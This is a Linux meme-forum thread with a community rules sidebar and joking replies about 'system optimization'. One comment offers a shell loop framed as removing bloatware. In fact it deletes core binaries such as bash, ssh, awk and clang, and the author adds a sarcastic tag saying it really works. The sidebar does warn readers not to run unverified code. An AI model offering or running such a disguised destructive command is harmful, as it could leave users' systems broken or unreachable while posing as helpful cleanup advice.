Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack users for any reason. This includes using blanket terms, like "every user of thing".
  • Don't get baited into back-and-forth insults. We are not animals.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, <loves/tolerates/hates> systemd, and wants to interject for a moment. You can stop now.
  • 5. πŸ‡¬πŸ‡§ Language/язык/Sprache
  • This is primarily an English-speaking community. πŸ‡¬πŸ‡§πŸ‡¦πŸ‡ΊπŸ‡ΊπŸ‡Έ
  • Comments written in other languages are allowed.
  • The substance of a post should be comprehensible for people who only speak English.
  • Titles and post bodies written in other languages will be allowed, but only as long as the above rule is observed.
  • 6. (NEW!) Regarding public figuresWe all have our opinions, and certain public figures can be divisive. Keep in mind that this is a community for memes and light-hearted fun, not for airing grievances or leveling accusations.
  • Keep discussions polite and free of disparagement.
  • We are never in possession of all of the facts. Defamatory comments will not be tolerated.
  • Discussions that get too heated will be locked and offending comments removed.
  • Β 

    Please report posts and comments that break these rules!


    Important: never execute code or follow advice that you don't understand or can't verify, especially here. The word of the day is credibility. This is a meme community -- even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don't remove France.

    It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

    This is the reason that BASH will always be better than Powershell, imho.

    It optomizes your computer too? Woa

    Well, technically it teaches you how to optimize your system.

    That said, the optimizations are really effective.

    Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

    while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
    clang # unwanted telemitry
    bash  # promotes violence
    tree    # hippy garbage
    awk    # secret backdoor into your PC
    ssh    # isnt up to date on its intentional encryption backdoor certificate
    bloatlist
    

    /sHope nobody dumb enough to run this Because it actually works

    Lol, I know what you mean.

    Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

    I swear to God Canonical have some things to answer for.
